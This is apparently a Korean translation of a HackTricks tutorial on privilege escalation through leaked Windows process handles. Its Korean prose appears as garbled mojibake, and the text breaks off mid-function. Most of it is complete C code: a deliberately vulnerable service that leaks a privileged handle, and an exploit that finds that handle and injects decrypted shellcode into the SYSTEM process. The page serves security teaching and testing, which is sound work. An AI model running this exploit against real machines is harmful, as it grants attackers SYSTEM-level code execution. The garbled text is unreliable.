Leaked Handle Exploitation

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Introduction

ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์€ ๋‹ค์–‘ํ•œ Windows ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค:

RootedCON2022 - Exploiting Leaked Handles for LPE

์ด๋ฏธ ์—ด๋ ค ์žˆ๊ณ  ์ƒ์† ๊ฐ€๋Šฅํ•œ ํ•ธ๋“ค์„ ๊ฐ€์ง„ ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋น„ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ๋ชจ๋“  ํ•ธ๋“ค์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ ์ œ๊ณตํ•œ ์—ฌ๋Ÿฌ ๊ถŒํ•œ ์ƒ์Šน ์‚ฌ๋ก€๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, SYSTEM์œผ๋กœ ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ƒˆ๋กœ์šด ํ”„๋กœ์„ธ์Šค(OpenProcess())๋ฅผ ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์œผ๋กœ ์—ฝ๋‹ˆ๋‹ค. ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ฃผ ํ”„๋กœ์„ธ์Šค์˜ ๋ชจ๋“  ์—ด๋ฆฐ ํ•ธ๋“ค์„ ์ƒ์†๋ฐ›๋Š” ์ €๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค(CreateProcess())๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ €๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์ด ์žˆ๋‹ค๋ฉด, OpenProcess()๋กœ ์ƒ์„ฑ๋œ ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค์— ๋Œ€ํ•œ ์—ด๋ฆฐ ํ•ธ๋“ค์„ ์žก๊ณ  ์‰˜์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Interesting Handles

Process

์ดˆ๊ธฐ ์˜ˆ์ œ์—์„œ ์ฝ์€ ๋ฐ”์™€ ๊ฐ™์ด, ๋น„ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค์˜ ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค์„ ์ƒ์†๋ฐ›์œผ๋ฉด ๊ทธ ์œ„์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํ›Œ๋ฅญํ•œ ๊ธฐ์‚ฌ์—์„œ ๋‹ค์Œ ๊ถŒํ•œ ์ค‘ ํ•˜๋‚˜๋ฅผ ๊ฐ€์ง„ ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค์„ ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • PROCESS_ALL_ACCESS
  • PROCESS_CREATE_PROCESS
  • PROCESS_CREATE_THREAD
  • PROCESS_DUP_HANDLE
  • PROCESS_VM_WRITE

Thread

ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ๋น„ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ์ถฉ๋ถ„ํ•œ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค์˜ ์Šค๋ ˆ๋“œ ํ•ธ๋“ค์„ ์ƒ์†๋ฐ›์œผ๋ฉด ๊ทธ ์œ„์—์„œ ์ž„์˜์˜ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ํ›Œ๋ฅญํ•œ ๊ธฐ์‚ฌ์—์„œ ๋‹ค์Œ ๊ถŒํ•œ ์ค‘ ํ•˜๋‚˜๋ฅผ ๊ฐ€์ง„ ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค์„ ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

  • THREAD_ALL_ACCESS
  • THREAD_DIRECT_IMPERSONATION
  • THREAD_SET_CONTEXT

File, Key & Section Handles

๋น„ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํŠน๊ถŒ ํŒŒ์ผ ๋˜๋Š” ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๋™๋“ฑ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ํ•ธ๋“ค์„ ์ƒ์†๋ฐ›์œผ๋ฉด, ํŒŒ์ผ/๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๊ทธ๋ฆฌ๊ณ  ๋งŽ์€ ์šด์ด ์ข‹๋‹ค๋ฉด, ๊ถŒํ•œ ์ƒ์Šน์„ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).

์„น์…˜ ํ•ธ๋“ค์€ ํŒŒ์ผ ํ•ธ๋“ค๊ณผ ์œ ์‚ฌํ•˜๋ฉฐ, ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ๊ฐ์ฒด์˜ ์ผ๋ฐ˜์ ์ธ ์ด๋ฆ„์€ โ€œํŒŒ์ผ ๋งคํ•‘โ€์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์ „์ฒด ํŒŒ์ผ์„ ๋ฉ”๋ชจ๋ฆฌ์— ์œ ์ง€ํ•˜์ง€ ์•Š๊ณ  ํฐ ํŒŒ์ผ์„ ์ž‘์—…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํŒŒ์ผ ํ•ธ๋“ค์˜ ์•…์šฉ๊ณผ โ€œ์œ ์‚ฌํ•œโ€ ๋ฐฉ์‹์œผ๋กœ ์•…์šฉ๋ฉ๋‹ˆ๋‹ค.

How to see handles of processes

Process Hacker

Process Hacker๋Š” ๋ฌด๋ฃŒ๋กœ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ด ๋„๊ตฌ๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ๊ฒ€์‚ฌํ•  ์ˆ˜ ์žˆ๋Š” ์—ฌ๋Ÿฌ ๋†€๋ผ์šด ์˜ต์…˜์„ ์ œ๊ณตํ•˜๋ฉฐ, ๊ทธ ์ค‘ ํ•˜๋‚˜๋Š” ๊ฐ ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์„ ๋ณผ ์ˆ˜ ์žˆ๋Š” ๊ธฐ๋Šฅ์ž…๋‹ˆ๋‹ค.

๋ชจ๋“  ํ”„๋กœ์„ธ์Šค์˜ ๋ชจ๋“  ํ•ธ๋“ค์„ ๋ณด๋ ค๋ฉด SeDebugPrivilege๊ฐ€ ํ•„์š”ํ•˜๋ฏ€๋กœ, Process Hacker๋ฅผ ๊ด€๋ฆฌ์ž ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์„ ๋ณด๋ ค๋ฉด, ํ”„๋กœ์„ธ์Šค๋ฅผ ๋งˆ์šฐ์Šค ์˜ค๋ฅธ์ชฝ ๋ฒ„ํŠผ์œผ๋กœ ํด๋ฆญํ•˜๊ณ  ํ•ธ๋“ค์„ ์„ ํƒํ•ฉ๋‹ˆ๋‹ค:

๊ทธ๋Ÿฐ ๋‹ค์Œ ํ•ธ๋“ค์„ ๋งˆ์šฐ์Šค ์˜ค๋ฅธ์ชฝ ๋ฒ„ํŠผ์œผ๋กœ ํด๋ฆญํ•˜๊ณ  ๊ถŒํ•œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Sysinternals Handles

Handles ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” Sysinternals์—์„œ ์ฝ˜์†”์—์„œ ํ”„๋กœ์„ธ์Šค๋ณ„๋กœ ํ•ธ๋“ค์„ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค:

LeakedHandlesFinder

์ด ๋„๊ตฌ๋Š” ๋ˆ„์ถœ๋œ ํ•ธ๋“ค์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ์‹ฌ์ง€์–ด ์ž๋™์œผ๋กœ ์•…์šฉํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

Methodology

์ด์ œ ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์„ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์„ ์•Œ์•˜์œผ๋ฏ€๋กœ, ํ™•์ธํ•ด์•ผ ํ•  ๊ฒƒ์€ ๋น„ํŠน๊ถŒ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํŠน๊ถŒ ํ•ธ๋“ค์— ์ ‘๊ทผํ•˜๊ณ  ์žˆ๋Š”์ง€์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๊ฒฝ์šฐ, ํ”„๋กœ์„ธ์Šค์˜ ์‚ฌ์šฉ์ž๊ฐ€ ํ•ธ๋“ค์„ ์–ป๊ณ  ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Warning

๋ชจ๋“  ํ•ธ๋“ค์— ์ ‘๊ทผํ•˜๋ ค๋ฉด SeDebugPrivilege๊ฐ€ ํ•„์š”ํ•˜๋‹ค๊ณ  ์ด์ „์— ์–ธ๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์‚ฌ์šฉ์ž๋Š” ์ž์‹ ์˜ ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์— ์—ฌ์ „ํžˆ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ๊ถŒํ•œ ์ƒ์Šน์„ ์›ํ•  ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž์˜ ์ผ๋ฐ˜ ๊ถŒํ•œ์œผ๋กœ ๋„๊ตฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Vulnerable Example

์˜ˆ๋ฅผ ๋“ค์–ด, ๋‹ค์Œ ์ฝ”๋“œ๋Š” ์ทจ์•ฝํ•œ Windows ์„œ๋น„์Šค์— ์†ํ•ฉ๋‹ˆ๋‹ค. ์ด ์„œ๋น„์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ทจ์•ฝํ•œ ์ฝ”๋“œ๋Š” Exploit ํ•จ์ˆ˜ ๋‚ด๋ถ€์— ์œ„์น˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ์ „์ฒด ์ ‘๊ทผ ๊ถŒํ•œ์œผ๋กœ ์ƒˆ๋กœ์šด ํ•ธ๋“ค ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ธฐ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ €๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๊ณ (์ €๊ถŒํ•œ ํ† ํฐ์„ _explorer.exe_์—์„œ ๋ณต์‚ฌํ•˜์—ฌ) _C:\users\username\desktop\client.exe_๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. ์ทจ์•ฝ์ ์€ bInheritHandles๋ฅผ TRUE๋กœ ์„ค์ •ํ•˜์—ฌ ์ €๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์žˆ์Šต๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ์ด ์ €๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค๋Š” ๋จผ์ € ์ƒ์„ฑ๋œ ๊ณ ๊ถŒํ•œ ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์„ ์žก๊ณ  ์‰˜์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋‹ค์Œ ์„น์…˜ ์ฐธ์กฐ).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Exploit Example 1

Note

์‹ค์ œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ๋Š” ์ทจ์•ฝํ•œ ์ฝ”๋“œ์— ์˜ํ•ด ์‹คํ–‰๋  ์ด์ง„ ํŒŒ์ผ์„ ์ œ์–ดํ•  ์ˆ˜ ์—†์„ ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์Šต๋‹ˆ๋‹ค (_C:\users\username\desktop\client.exe_์˜ ๊ฒฝ์šฐ). ์•„๋งˆ๋„ ํ”„๋กœ์„ธ์Šค๋ฅผ ์†์ƒ์‹œํ‚ค๊ณ  ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค์˜ ์ทจ์•ฝํ•œ ํ•ธ๋“ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•ด์•ผ ํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

์ด ์˜ˆ์ œ์—์„œ๋Š” _C:\users\username\desktop\client.exe_์— ๋Œ€ํ•œ ๊ฐ€๋Šฅํ•œ ์ต์Šคํ”Œ๋กœ์ž‡์˜ ์ฝ”๋“œ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ์ฝ”๋“œ์˜ ๊ฐ€์žฅ ํฅ๋ฏธ๋กœ์šด ๋ถ€๋ถ„์€ GetVulnProcHandle์— ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ๋ชจ๋“  ํ•ธ๋“ค์„ ๊ฐ€์ ธ์˜ค๊ธฐ ์‹œ์ž‘ํ•œ ๋‹ค์Œ, ๊ทธ ์ค‘ ์–ด๋–ค ๊ฒƒ์ด ๋™์ผํ•œ PID์— ์†ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ํ•ธ๋“ค์ด ํ”„๋กœ์„ธ์Šค์— ์†ํ•˜๋Š”์ง€ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ชจ๋“  ์š”๊ตฌ ์‚ฌํ•ญ์ด ์ถฉ์กฑ๋˜๋ฉด (์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์—ด๋ฆฐ ํ”„๋กœ์„ธ์Šค ํ•ธ๋“ค์ด ๋ฐœ๊ฒฌ๋˜๋ฉด), ํ”„๋กœ์„ธ์Šค์˜ ํ•ธ๋“ค์„ ์•…์šฉํ•˜์—ฌ ์…ธ์ฝ”๋“œ๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ์‹คํ–‰ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค.
์…ธ์ฝ”๋“œ์˜ ์ฃผ์ž…์€ Inject ํ•จ์ˆ˜ ๋‚ด์—์„œ ์ˆ˜ํ–‰๋˜๋ฉฐ, ๊ถŒํ•œ์ด ์žˆ๋Š” ํ”„๋กœ์„ธ์Šค ๋‚ด์— ์…ธ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ๋™์ผํ•œ ํ”„๋กœ์„ธ์Šค ๋‚ด์— ์Šค๋ ˆ๋“œ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์…ธ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
